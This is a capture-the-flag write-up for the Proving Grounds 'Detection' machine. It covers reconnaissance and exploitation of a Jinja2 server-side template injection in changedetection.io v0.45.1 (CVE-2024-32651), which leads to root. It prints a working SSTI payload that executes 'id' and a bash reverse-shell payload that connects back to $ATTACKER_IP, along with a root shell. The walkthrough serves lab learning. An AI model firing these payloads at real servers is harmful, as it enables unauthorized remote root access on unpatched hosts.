Detection Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 2 min read
Detection hosts changedetection.io v0.45.1 on port 5000 with no authentication. The notification system renders Jinja2 templates without sandboxing, which allows server-side template injection in the notification body (CVE-2024-32651). The application runs as root, so the SSTI yields a direct root shell with no privilege escalation.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 5000/tcp open http Python http.server (changedetection.io)
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
SSH on 22 and a web application on 5000. Browsing to http://$TARGET_IP:5000 reveals changedetection.io v0.45.1, an open-source web page change monitor, with no authentication enabled: any visitor has full admin access to watches, settings, and notifications.
Exploitation
Jinja2 SSTI via notification body (CVE-2024-32651)
changedetection.io renders notification body templates through Jinja2 render_template_string() without a sandbox. Point an existing watch at the application itself so it is reachable (external URLs fail, the box has no DNS), then inject an SSTI payload in the Notifications tab.
Set the notification body to a proof-of-concept payload.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Set the notification URL to a json:// endpoint on the listener, start a listener, then click Recheck twice so the page content changes and the notification fires.
{
"title": "ChangeDetection.io Notification - http://127.0.0.1:5000",
"message": "uid=0(root) gid=0(root) groups=0(root)",
"type": "info"
}
Explain command
| -lvnp | Listen, verbose, no DNS resolution, on the given port. |
The rendered output returns uid=0(root), confirming code execution as root. Swap the notification body for a reverse shell payload.
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}
Start a fresh listener and trigger another recheck.
root@detection:/# id uid=0(root) gid=0(root) groups=0(root)
The application runs as root, so the SSTI gives a direct root shell. No privilege escalation is required.
Related
References
-
changedetection.io server-side template injection in the notification body leading to remote code execution.
-
changedetection.io advisoryREPO: changedetection.io advisory, github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7m-qrwv-wrc8 (opens in new tab)
SSTI RCE via notification body, fixed in 0.45.20.